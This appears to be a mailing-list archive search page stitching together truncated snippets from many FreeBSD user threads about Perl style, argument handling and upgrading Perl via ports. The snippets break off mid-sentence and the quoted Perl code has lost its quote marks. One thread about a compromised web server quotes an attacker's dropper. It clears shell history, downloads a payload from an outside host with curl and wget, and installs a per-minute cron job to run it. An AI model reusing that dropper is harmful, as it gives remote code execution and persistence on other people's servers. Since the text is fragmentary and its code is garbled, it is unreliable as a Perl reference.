Chuck == Chuck Swiger cswi...@mac.com writes:
Chuck Let's suppose you want to display one message if debugging is
Chuck enabled, and a shorter message if it is not.
Then you wouldn't have used this construct.
If you don't like all this freedom, there's always Python. :)
Chuck Yes, Perl lets
a good idea considering the most obvious change one
might make to the code, I would conclude that it's probably never going to be a
good idea to use such a thing.
Surely Perl source code shouldn't be considered as write-once, modify-never?
If you don't like all this freedom, there's always Python
of your argument, but let's read on...
Chuck Surely Perl source code shouldn't be considered as write-once,
Chuck modify-never?
Yes, and that's also presumes facts not in evidence. See above.
Chuck I would suggest that good software not only allows the user the
Chuck full freedom to do anything which
often than 0.1% of the time. Frankly,
I wouldn't mind taking a look through a few revisions of something you'd
written (perhaps via CVSweb or similar) to see what kind of changes you do make
to code over time.
Chuck Surely Perl source code shouldn't be considered as write-once,
Chuck modify
to let you have Python, and work productively in
it, while I'm happily being productive with Perl.
I'm also perfectly willing to allow you imagine faults with Perl, even
though after having used Perl productively for 20 years, those problems
just don't arise in practice.
You, on the other hand
On 2010.04.06 17:10, Randal L. Schwartz wrote:
Now, on the other hand, emacs rules, vi sucks. :-) :-)
ok, ok. I was on the side of Perl, and was content following this
thread, but now I don't like you anymore :P
heh ;)
Steve
___
freebsd-questions
On Tue, Apr 06, 2010 at 06:17:41PM -0400, Steve Bertrand wrote:
On 2010.04.06 17:10, Randal L. Schwartz wrote:
Now, on the other hand, emacs rules, vi sucks. :-) :-)
ok, ok. I was on the side of Perl, and was content following this
thread, but now I don't like you anymore :P
heh
be convenient to type the decision after the action, but it
don't I think it promotes good quality software.
This sounds exactly like the complaints Pythonistas use to explain why
they have a deep hatred of Perl. If that's how you feel, I'd prefer you
stop trying to tell me how Perl should work, and just
construct.
I've always found that 'unless' makes a great deal of sense when used
in the alternate syntax:
do_foo()
unless $condition ;
As far as I know, perl and its descendant ruby are the only programming
languages that let you put the condition test after the action, despite
this being
Matthew == Matthew Seaman m.sea...@infracaninophile.co.uk writes:
Matthew As far as I know, perl and its descendant ruby are the only
Matthew programming languages that let you put the condition test after
Matthew the action, despite this being exceeding familiar in human
Matthew languages
in message 867homm1qf@red.stonehenge.com, wrote Randal L.
Schwartz thusly...
Matthew == Matthew Seaman
m.sea...@infracaninophile.co.uk writes:
Matthew As far as I know, perl and its descendant ruby are the
Matthew only programming languages that let you put the
Matthew condition test
, perl and its descendant ruby are the only
programming languages that let you put the condition test after the
action,
IMO this is a bad mistake that other languages were quite right not to
copy - a test shouldn't come after a block of code unless it's evaluated
after the block (as in repeat
never have to
see, in my opinion -- unless we're actually implementing it. Computers
are for scut work; humans are for idea work.
Failing strict prefix notation, I'm okay with the way Perl and Ruby use
unless. This:
(result) unless (condition)
. . . could be explained away as fitting
On Sun, 2010-04-04 at 00:07 -0400, Greg Larkin wrote:
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Gary Kline wrote:
guys,
i'm finally trying to get my private scripts and binaries in
~/bin in order. several of my perl scripts were meant to be
throwaway ... but a few seem
Gary == Gary Kline kl...@thought.org writes:
Gary #!/usr/bin/perl
Gary $argc = @ARGV;
Gary if (! $argc ) {
Gary printf(No args; need filename.\n);
Gary }
Gary else {
Gary printf(%s\n, @ARGV);
Gary }
Even simpler:
if (@ARGV) {
print No args\n;
} else {
print
and false blocks there. :)
--
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
mer...@stonehenge.com URL:http://www.stonehenge.com/merlyn/
Smalltalk/Perl/Unix consulting, Technical writing, Comedy, etc. etc.
See http://methodsandmessages.vox.com/ for Smalltalk
swap them:
if (@ARGV) {
print arg is $ARGV[0]\n;
} else {
print no args\n;
}
If you're studying perl, you might want to join the very
beginner-friendly mailing list, info at
http://lists.perl.org/list/beginners.html, or start a conversation on
perlmonks.org, also
[0]\n;
Randal }
Augh. I hit send just as I realized that's backwards. Need
more caffiene. Swap the true and false blocks there. :)
--
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
mer...@stonehenge.com URL:http://www.stonehenge.com/merlyn/
Smalltalk/Perl
On Sun, Apr 04, 2010 at 12:45:30PM -0400, Alejandro Imass wrote:
On Sun, Apr 4, 2010 at 11:27 AM, Randal L. Schwartz
mer...@stonehenge.com wrote:
Randal == Randal L Schwartz mer...@stonehenge.com writes:
Randal Even simpler:
Randal if (@ARGV) {
did you mean unless? ;-)
I find if
for the Black Leopard anyday. Not implying that the author is
not a great writer, but the Camel book is mostly a printout of perldoc
perl g sure hope Larry is not on this list lol
tack onto the list after the Alpaca, is the Camel Book, titled
Programming Perl. It's sorta the definitive reference
usage: blabla.pl filename\n;
or
print Use: blabla.pl inputfile\n;
And you could even force perl to exit with an exit code != 0
to indicate that something happened (e. g. program wasn't run
successfully).
Now, as the don't want case has been considered, you can
easily continue with your
are programming in an exception manner as you
correctly point out. Every language should have an unless construct.
[...]
And you could even force perl to exit with an exit code != 0
to indicate that something happened (e. g. program wasn't run
successfully).
a good practice in any language...
Now
resources, including free tutorials online.
The trilogy is a must-have regardless if you are beginner
intermediate or advanced, and regardless of who wrote them ;-)
- Learning Perl
- Intermediate Perl
- Advanced Perl Programming
Of course, the Camel book (Programming Perl), and Perl Best Practices
On Sun, Apr 04, 2010 at 08:25:03AM -0700, Randal L. Schwartz wrote:
Gary == Gary Kline kl...@thought.org writes:
Gary #!/usr/bin/perl
Gary $argc = @ARGV;
Gary if (! $argc ) {
Gary printf(No args; need filename.\n);
Gary }
Gary else {
Gary printf(%s\n, @ARGV);
Gary
/tcgrep.gz
Then, there is ack ...
http://search.cpan.org/dist/ack/ack
... may need to tinker with option to search non-Perl files (see -a
option).
Or, simply ...
#!/bin/sh
# If your particular egrep is laced with potent PCRE, may use -P
# option (before $@) to specify Perl regex.
egrep -r
.
...Anyway, here's one i'v been wanting to ask for years but
don't know where to pose. Is C dead? i mean, since it's
been official for years, can C add things like the unless
keyword? Can C include the perl regex packages?
if i asked this anywhere else, they would send
(by Tom Christiansen) ...
http://www.perl.com/CPAN/authors/id/TOMC/scripts/tcgrep.gz
Then, there is ack ...
http://search.cpan.org/dist/ack/ack
... may need to tinker with option to search non-Perl files (see -a
option).
Or, simply ...
#!/bin/sh
# If your particular
On Sun, Apr 4, 2010 at 11:33 PM, Gary Kline kl...@thought.org wrote:
Can C include the perl regex packages?
Yes! Just use PCRE. Or, if you prefer C++, Boost.Regex:
http://www.pcre.org/
http://www.boost.org/doc/libs/1_42_0/libs/regex/doc/html/index.html
--
Cordula's Web. http://www.cordula.ws
From owner-freebsd-questi...@freebsd.org Sun Apr 4 17:14:17 2010
Date: Sun, 4 Apr 2010 15:13:49 -0700
From: Gary Kline kl...@thought.org
To: Randal L. Schwartz mer...@stonehenge.com, glar...@freebsd.org,
FreeBSD Mailing List freebsd-questions@freebsd.org
Cc:
Subject: Re: perl
On Sun, Apr 04, 2010 at 02:33:02PM -0700, Gary Kline wrote:
anybody know if we need a new C [[maybe D]] that would be
allowed to grow?
There's already a D. I don't really know much about it, though.
--
Chad Perrin [ original content licensed OWL: http://owl.apotheon.org ]
Mailing List freebsd-questions@freebsd.org
Cc:
Subject: Re: perl qstn...
On Sun, Apr 04, 2010 at 10:58:35AM -1000, p...@pair.com wrote:
in message 20100404203951.gb47...@thought.org,
wrote Gary Kline thusly...
---Maybe you can clue me in on this one: around a dozen years ago
guys,
i'm finally trying to get my private scripts and binaries in
~/bin in order. several of my perl scripts were meant to be
throwaway ... but a few seem to be more useful and i would have
to have informational or usage{} type messages.
if a .pl script has to have at least one arg
Consulting Services, Inc. - +1 503 777 0095
mer...@stonehenge.com URL:http://www.stonehenge.com/merlyn/
Smalltalk/Perl/Unix consulting, Technical writing, Comedy, etc. etc.
See http://methodsandmessages.vox.com/ for Smalltalk and Seaside discussion
___
freebsd
in the CPAN.
My favorite is Getopt::Long.
For simple scripts I tend to use Getopt::Std instead, but Getopt::Long is
great too. These two are pretty much the standard for command line
option handling and help message generation in Perl.
--
Chad Perrin [ original content licensed OWL: http
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Gary Kline wrote:
guys,
i'm finally trying to get my private scripts and binaries in
~/bin in order. several of my perl scripts were meant to be
throwaway ... but a few seem to be more useful and i would have
to have informational or usage
Hi:
I have been searching for the appropriate perl mailing list, but no
avail. I'm trying to build a database with Berkeley DB and MLDBM for a
multi dimensional hash structure,
my $hdbm = tie %host, 'MLDBM', -Filename = $dbdir/host.db,
-Flags = DB_CREATE|O_RDWR
or die Cannot open
Erik == Erik Norgaard norga...@locolomo.org writes:
Erik I have been searching for the appropriate perl mailing list,
Perl questions are best asked at perlmonks.org or Stack Overflow.
Or you can join the beginners list at http://lists.perl.org/ for ongoing
discussion and help by email if you
On Thu, Mar 4, 2010 at 6:13 PM, Matthew Seaman
m.sea...@infracaninophile.co.uk wrote:
However, when I run:
portupgrade -o lang/perl5.10 -f perl-5.8\.*
I get this problem:
--- Upgrading 'perl-5.8.9_3' to 'perl-5.10.1' (lang/perl5.10)
--- Building '/usr/ports/lang/perl5.10
-o lang/perl5.10 -f perl-5.8\.*
Please feel free to complain volubly about this: it's hand-holding for
newbies which annoys and incoveniences the vastly larger number of
non-newbies (ie. anyone who has been using the ports for more than a few
weeks.)
It has occurred to me that teaching
DISABLE_CONFLICTS when rebuilding the port, eg like this:
# portupgrade -m DISABLE_CONFLICTS=yes -o lang/perl5.10 -f perl-5.8\.*
Please feel free to complain volubly about this: it's hand-holding for
newbies which annoys and incoveniences the vastly larger number of
non-newbies (ie. anyone who has
Is there a recommended procedure I can read somewhere on how to upgrade an
entire production system from Perl 5.8 to 5.10 (or whatever is current)
cleanly?
--
Tim Daneliuk tun...@tundraware.com
PGP Key
Hi,
Tim Daneliuk wrote:
Is there a recommended procedure I can read somewhere on how to upgrade an
entire production system from Perl 5.8 to 5.10 (or whatever is current)
cleanly?
Have a look at the 20100205 entry of ports/UPDATING.
Regards,
--
Glen Barber
On 2010-03-04 17:06, Tim Daneliuk wrote:
Is there a recommended procedure I can read somewhere on how to upgrade an
entire production system from Perl 5.8 to 5.10 (or whatever is current)
cleanly?
/usr/ports/UPDATING ;-)
___
freebsd-questions
Tim Daneliuk writes:
Is there a recommended procedure I can read somewhere on how to
upgrade an entire production system from Perl 5.8 to 5.10 (or
whatever is current) cleanly?
/usr/ports/UPDATING ?
Robert Huff
On 3/4/2010 10:13 AM, Leslie Jensen wrote:
On 2010-03-04 17:06, Tim Daneliuk wrote:
Is there a recommended procedure I can read somewhere on how to
upgrade an
entire production system from Perl 5.8 to 5.10 (or whatever is current)
cleanly?
/usr/ports/UPDATING ;-)
Thanks to all
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
On 04/03/2010 17:05:08, Tim Daneliuk wrote:
On 3/4/2010 10:13 AM, Leslie Jensen wrote:
On 2010-03-04 17:06, Tim Daneliuk wrote:
Is there a recommended procedure I can read somewhere on how to
upgrade an
entire production system from Perl 5.8
On 3/4/2010 11:13 AM, Matthew Seaman wrote:
portupgrade -m DISABLE_CONFLICTS=yes -o lang/perl5.10 -f perl-5.8\.*
Thanks for that. I'm not sure to whom I'd complain and/or if it would
make any difference ;)
--
Tim
-o lang/perl5.10 -f perl-5.8\.*
Please feel free to complain volubly about this: it's hand-holding for
newbies which annoys and incoveniences the vastly larger number of
non-newbies (ie. anyone who has been using the ports for more than a few
weeks.)
Has this absolutely ludicrous change
Up till now I've kept Perl on my machine at 5.8.9. I now see from UPDATING that
upgrading to 5.10 is recommended.
However, when I follow the instructions, I get the following error:
laptop# portupgrade -o lang/perl5.10 -f perl-5.8.9_3
--- Upgrading 'perl-5.8.9_3' to 'perl-5.10.1' (lang
On Fri, Feb 12, 2010 at 2:44 PM, Peter Harrison
peter.piggy...@virgin.netwrote:
Up till now I've kept Perl on my machine at 5.8.9. I now see from UPDATING
that upgrading to 5.10 is recommended.
However, when I follow the instructions, I get the following error:
laptop# portupgrade -o lang
On 12/02/2010 20:50, Adam Vande More wrote:
On Fri, Feb 12, 2010 at 2:44 PM, Peter Harrison
peter.piggy...@virgin.netwrote:
Up till now I've kept Perl on my machine at 5.8.9. I now see from UPDATING
that upgrading to 5.10 is recommended.
However, when I follow the instructions, I get
On Fri, Feb 12, 2010 at 3:03 PM, Matthew Seaman
m.sea...@black-earth.co.ukwrote:
Err... he's following the right instructions.
ports/UPDATING does not recommend to upgrade.
--
Adam Vande More
___
freebsd-questions@freebsd.org mailing list
On Fri, Feb 12, 2010 at 3:07 PM, Adam Vande More amvandem...@gmail.comwrote:
On Fri, Feb 12, 2010 at 3:03 PM, Matthew Seaman
m.sea...@black-earth.co.uk wrote:
Err... he's following the right instructions.
ports/UPDATING does not recommend to upgrade.
I mean does not recommend going
Friday, 12 February 2010 at 14:50:56 -0600, Adam Vande More said:
On Fri, Feb 12, 2010 at 2:44 PM, Peter Harrison
peter.piggy...@virgin.netwrote:
Up till now I've kept Perl on my machine at 5.8.9. I now see from UPDATING
that upgrading to 5.10 is recommended.
However, when I follow
On Fri, Feb 12, 2010 at 3:26 PM, Peter Harrison
peter.piggy...@virgin.netwrote:
I don't need 5.10, but I was prompted to think about upgrading from
20100205.
I was trying to follow 20090328, I ran
pkgdb -Ff (no problem)
then
portupgrade -o lang/per5.10 -f perl-5.8.9
which generated
Friday, 12 February 2010 at 21:03:54 +, Matthew Seaman said:
On 12/02/2010 20:50, Adam Vande More wrote:
On Fri, Feb 12, 2010 at 2:44 PM, Peter Harrison
peter.piggy...@virgin.netwrote:
Up till now I've kept Perl on my machine at 5.8.9. I now see from UPDATING
that upgrading to 5.10
I updated from 7.2 to 8.0 from source.
No I updated ports tree and try to update perl (from ports), but get
the next error (version does not matter, 5.8, 5.10 give the same
error):
CCCMD = cc -DPERL_CORE -c
-DAPPLLIB_EXP=/usr/local/lib/perl5/5.8.9/BSDPAN -DHAS_FPSETMASK
On Sun, 7 Feb 2010, Denis wrote:
I updated from 7.2 to 8.0 from source.
No I updated ports tree and try to update perl (from ports), but get
the next error (version does not matter, 5.8, 5.10 give the same
error):
Did you rebuild all your ports after the upgrade from 7.2 to 8.0?
Do you have
On Sun, Feb 7, 2010 at 8:03 PM, Warren Block wbl...@wonkity.com wrote:
Did you rebuild all your ports after the upgrade from 7.2 to 8.0?
Do you have any extra settings in /etc/make.conf?
Not yet. I'm trying to do this - a lot of ports depend on perl, and I
get stuck
On Sun, 7 Feb 2010, Denis wrote:
On Sun, Feb 7, 2010 at 8:03 PM, Warren Block wbl...@wonkity.com wrote:
Did you rebuild all your ports after the upgrade from 7.2 to 8.0?
Do you have any extra settings in /etc/make.conf?
Not yet. I'm trying to do this - a lot of ports depend on perl, and I
Warren Block writes:
Not yet. I'm trying to do this - a lot of ports depend on perl, and I
get stuck with it.
No, there are no any extra settings in /etc/make.conf.
You may be running into the situation where something Perl needs can't
run because of mixed libraries
On Sun, 7 Feb 2010, Robert Huff wrote:
Warren Block writes:
Not yet. I'm trying to do this - a lot of ports depend on perl, and I
get stuck with it.
No, there are no any extra settings in /etc/make.conf.
You may be running into the situation where something Perl needs can't
run because
On Sun, Feb 7, 2010 at 10:36 PM, Warren Block wbl...@wonkity.com wrote:
You may be running into the situation where something Perl needs can't
run because of mixed libraries.
For the 7-8 major version upgrade, it's usually easier and faster to
save your pkg_info output, backup /usr/local
with Perl 5.8.9 and FreeRADIUS 2.1.6 (all compiled
from source out of the same copy of the ports tree. Perl compiled
without threading support as that causes issues with our database
connections when under high load).
We had need to reinstall one of the servers over the weekend (We went
from i386
Had a bit more of a poke. Same symptoms under FreeBSD 7.2 amd64. I am
now looking towards there being some kind of issue with the perl or
freeradius in ports/packages. Has anyone else seen this at all?
-Original Message-
From: owner-freebsd-questi...@freebsd.org [mailto:owner-freebsd
Interestingly, a completely fresh install of 7.2 that never sees
anything out of ports installs perl 5.8.9_2 not 5.8.9_2, and freeradius
2.1.4 instead of 2.1.6 via pkg_add if I do a pkg_add freeradius. *That*
works absolutely fine. Unfortunately the packages for 8.0 are 5.8.9_3
and 2.1.6
/var/spool/MIMEDefang/mimedefang-multiplexor.pid -z /var/spool/MIMEDefang -m 2
-x 10 -U
The -l option means to log all stuff to syslog.
/var/log/all.log shows:
Nov 27 17:57:18 acsvfbsd06 kernel: pid 9919 (perl), uid 26: exited on signal 11
(core dumped)
Nov 27 17:57:18 acsvfbsd06 mimedefang
On Fri, Oct 09, 2009 at 12:26:25PM +0200, Oliver Fromme wrote:
Gary Kline kl...@thought.org wrote:
Whenever I save a wordpeocessoe file [OOo, say] into a
text file, I get a slew of hex codes to indicate the char to be
used. I'm looking for a perl one-liner
Whenever I save a wordpeocessoe file [OOo, say] into a
text file, I get a slew of hex codes to indicate the char to be
used. I'm looking for a perl one-liner or script to translate
hex back into ', , -- [that's a dash), and so forth. Why does
this fail
Gary Kline wrote:
Whenever I save a wordpeocessoe file [OOo, say] into a
text file, I get a slew of hex codes to indicate the char to be
used. I'm looking for a perl one-liner or script to translate
hex back into ', , -- [that's a dash), and so forth. Why does
On Fri, 9 Oct 2009, Gary Kline wrote:
Whenever I save a wordpeocessoe file [OOo, say] into a
text file, I get a slew of hex codes to indicate the char to be
used. I'm looking for a perl one-liner or script to translate
hex back into ', , -- [that's a dash
Gary Kline kl...@thought.org wrote:
Whenever I save a wordpeocessoe file [OOo, say] into a
text file, I get a slew of hex codes to indicate the char to be
used. I'm looking for a perl one-liner or script to translate
hex back into ', , -- [that's a dash
Lars Eighner wrote:
On Fri, 9 Oct 2009, Gary Kline wrote:
Whenever I save a wordpeocessoe file [OOo, say] into a
text file, I get a slew of hex codes to indicate the char to be
used. I'm looking for a perl one-liner or script to translate
hex back into ', , -- [that's
On Fri, 9 Oct 2009, Oliver Fromme wrote:
Gary Kline kl...@thought.org wrote:
Whenever I save a wordpeocessoe file [OOo, say] into a
text file, I get a slew of hex codes to indicate the char to be
used. I'm looking for a perl one-liner or script to translate
Warren Block wrote:
Oliver Fromme wrote:
Gary Kline wrote:
Whenever I save a wordpeocessoe file [OOo, say] into a
text file, I get a slew of hex codes to indicate the char to be
used. I'm looking for a perl one-liner or script to translate
hex back into ', , -- [that's
On Fri, 9 Oct 2009, Oliver Fromme wrote:
Warren Block wrote:
Oliver Fromme wrote:
Gary Kline wrote:
Whenever I save a wordpeocessoe file [OOo, say] into a
text file, I get a slew of hex codes to indicate the char to be
used. I'm looking for a perl one-liner or script to translate
Warren Block wrote:
Oliver Fromme wrote:
Warren Block wrote:
Oliver Fromme wrote:
Gary Kline wrote:
Whenever I save a wordpeocessoe file [OOo, say] into a
text file, I get a slew of hex codes to indicate the char to be
used. I'm looking for a perl one-liner
On Fri, 9 Oct 2009, Warren Block wrote:
On Fri, 9 Oct 2009, Oliver Fromme wrote:
Gary Kline kl...@thought.org wrote:
Whenever I save a wordpeocessoe file [OOo, say] into a
text file, I get a slew of hex codes to indicate the char to be
used. I'm looking for a perl
fixed strings.
The OP was using a regex. But my question was why sed instead of
Perl? tr(1) was also suggested, and is probably better than sed in
this case. Of course, tr is another tool that Perl can replace with
added functionality. Likewise Ruby, which has about the same
command-line
Oliver Fromme wrote:
This isn't about regular expressions at all. This is
about replacing fixed strings.
Fixed strings are regular expressions. Pretty unexciting ones,
but perfectly valid none the less.
This has been your daily pedantry minute.
Cheers,
Matthew
--
Dr
Lars Eighner wrote:
On Fri, 9 Oct 2009, Warren Block wrote:
That's twice now people have suggested sed instead of perl. Why? For
many uses, perl is a better sed than sed. The regex engine is far
more powerful and escapes are much simpler.
Because sed is stable and perl is getting all
to be
used. I'm looking for a perl one-liner or script to translate
hex back into ', , -- [that's a dash), and so forth. Why
does
this fail to trans the hex code to an apostrophe?
perl -pi.bak -e 's/\xe2\x80\x99/'/g'
You need to escape the inner quote character, of course
All,
Couple issues:
1) I need some understanding on how to deploy and upgrade perl
properly in this jailed environment.
2) I need some help on my current tangle of Perl library complaints
Issue #1: In a jailed environment how many installations of perl are
recommended (ie 1 host system 2 basejail
On 10/2/09, Troy Kocher t...@kocherfamily.org wrote:
All,
Couple issues:
1) I need some understanding on how to deploy and upgrade perl
properly in this jailed environment.
2) I need some help on my current tangle of Perl library complaints
Issue #1: In a jailed environment how many
Can someone explain why we have to run an update batch in order to have
all Perl related programs running with this update? Wouldn't it be
better to upgrade Perl and have all programs use it as it hadn't been
updated at all?
Jos Chrispijn
Jos Chrispijn wrote:
Can someone explain why we have to run an update batch in order to have
all Perl related programs running with this update? Wouldn't it be
better to upgrade Perl and have all programs use it as it hadn't been
updated at all?
You're talking about the update of lang
Matthew Seaman wrote:
You're talking about the update of lang/perl5.10 from perl-5.10.0
to perl-5.10.1 ?
The reason you need to run perl-after-upgrade is because perl library
modules are stored in directory trees which encode the perl version
number.
perl-after-upgrade basically moves
HISTFILE=/dev/null
cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 21 /dev/null
cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 21 /dev/null
echo '*/1 * * * * perl /tmp/tmpfile' cron.job
crontab cron.job
rm -rf cron.job
chmod 0100 /tmp/tmpfile 21 /dev/null
perl /tmp/tmpfile 21 /dev/null
[...]
So
/dev/null
cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 21 /dev/null
echo '*/1 * * * * perl /tmp/tmpfile' cron.job
crontab cron.job
rm -rf cron.job
chmod 0100 /tmp/tmpfile 21 /dev/null
perl /tmp/tmpfile 21 /dev/null
[...]
So this would be the original mischief-maker.
Just out
Steve Bertrand said the following on 08/26/2009 01:33 AM:
In this case, OP, look for:
- directories named as such:
-- ...
-- . ..
-- . .
-- etc, particularly under:
-- /var/tmp
-- /tmp
-- or anywhere else the [gu]id of the webserver could possibly write to
Thanks for the comments, Steve.
://silenceisdefeat.com/~cbrace/www_badstuff-2.gz
-
Colin Brace
Amsterdam
http://lim.nl
--
View this message in context:
http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149271.html
Sent from the freebsd-questions mailing list archive at Nabble.com
/~cbrace/www_badstuff-3.gz
Sorry about the multiple tarballs.
-
Colin Brace
Amsterdam
http://lim.nl
--
View this message in context:
http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149559.html
Sent from the freebsd-questions mailing list archive at Nabble.com
Adam Vande More amvandem...@gmail.com wrote:
On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wmo...@potentialtech.comwrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran wmo...@potentialtech.com
wrote:
In response to Adam Vande
In response to Adam Vande More amvandem...@gmail.com:
On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wmo...@potentialtech.comwrote:
Adam Vande More amvandem...@gmail.com wrote:
On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wmo...@potentialtech.com
wrote:
In response to Adam Vande
On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wmo...@potentialtech.comwrote:
Adam Vande More amvandem...@gmail.com wrote:
On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wmo...@potentialtech.com
wrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 12:06
Jonathan McKeown wrote:
On Wednesday 26 August 2009 15:44:41 Adam Vande More wrote:
[450 lines including multiple signatures and twelve levels of quoting, all to
say:]
Specifically what am I confused on? Or are you just going to continue
with the personal attacks? You've offered no
On Wed, Aug 26, 2009 at 8:30 AM, Bill Moran wmo...@potentialtech.comwrote:
In response to Adam Vande More amvandem...@gmail.com:
On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wmo...@potentialtech.com
wrote:
Adam Vande More amvandem...@gmail.com wrote:
On Tue, Aug 25, 2009 at 2:43
On Wednesday 26 August 2009 15:44:41 Adam Vande More wrote:
[450 lines including multiple signatures and twelve levels of quoting, all to
say:]
Specifically what am I confused on? Or are you just going to continue
with the personal attacks? You've offered no technical rebuttal, simply
Ok, here is what lsof tells me:
$ sudo lsof | grep perl
perl5.8.9 4272 www cwd VDIR 0,76512 2 /
perl5.8.9 4272 www rtd VDIR 0,76512 2 /
perl5.8.9 4272 www txt VREG 0,82 4428 3015044
/usr/local/bin/perl
perl5.8.9
On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote:
Ok, here is what lsof tells me:
$ sudo lsof | grep perl
perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP
gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED)
The last line would be appear to telling me
201 - 300 of 1476 matches
Mail list logo